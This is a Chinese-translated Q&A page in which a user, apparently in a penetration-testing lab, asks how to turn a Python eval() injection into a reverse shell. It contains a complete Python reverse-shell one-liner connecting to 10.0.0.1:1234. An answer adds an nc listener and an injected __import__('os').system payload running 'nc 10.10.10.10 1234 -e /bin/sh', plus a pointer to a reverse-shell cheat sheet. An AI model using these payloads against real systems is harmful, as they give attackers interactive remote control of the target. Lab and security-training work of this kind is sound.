【问题标题】:Python - running reverse shell inside eval()Python - 在 eval() 中运行反向 shell
【发布时间】:2019-12-31 19:42:44
【问题描述】:

我正在一个渗透测试实验室工作。我需要利用一个 Python eval() 函数。

好像

eval('%s>1',payload)

我需要执行一个 Python 反向 shell 脚本作为有效负载。这是

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

我正在尝试

eval('%s >1' "__import__('os').system('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'")

不确定如何导入所有这些模块并执行它。

任何帮助表示赞赏。

【问题讨论】:

    标签: python reverse-shell


    【解决方案1】:

    也许可以这样尝试

    "__import__('os').system('nc your_ip port -e /bin/sh')"

    喜欢;

    首先监听端口新鲜终端

    nc -lvp 1234

    尝试另一个终端后:

    "__import__('os').system('nc 10.10.10.10 1234 -e /bin/sh')"

    "__import__('os').system('YOUR REVERSE SHELL METHOD')"

    这里有很多反向 shell 负载:https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

    祝你好运

    【讨论】:

    • 我需要使用Python反向shell。
    • 你检查 PayloadsAllTheThings 了吗?
    【解决方案2】:

    尝试在eval 中包含globals()locals()(以导入全局范围)。这在In Python, why doesn't an import in an exec in a function work? 中有解释

    另见https://lucumr.pocoo.org/2011/2/1/exec-in-python/章节进口幕后花絮

    【讨论】:

      猜你喜欢
      • 2018-02-18
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2016-01-19
      • 2011-11-17
      • 1970-01-01
      • 1970-01-01
      • 2021-11-29
      相关资源
      最近更新 更多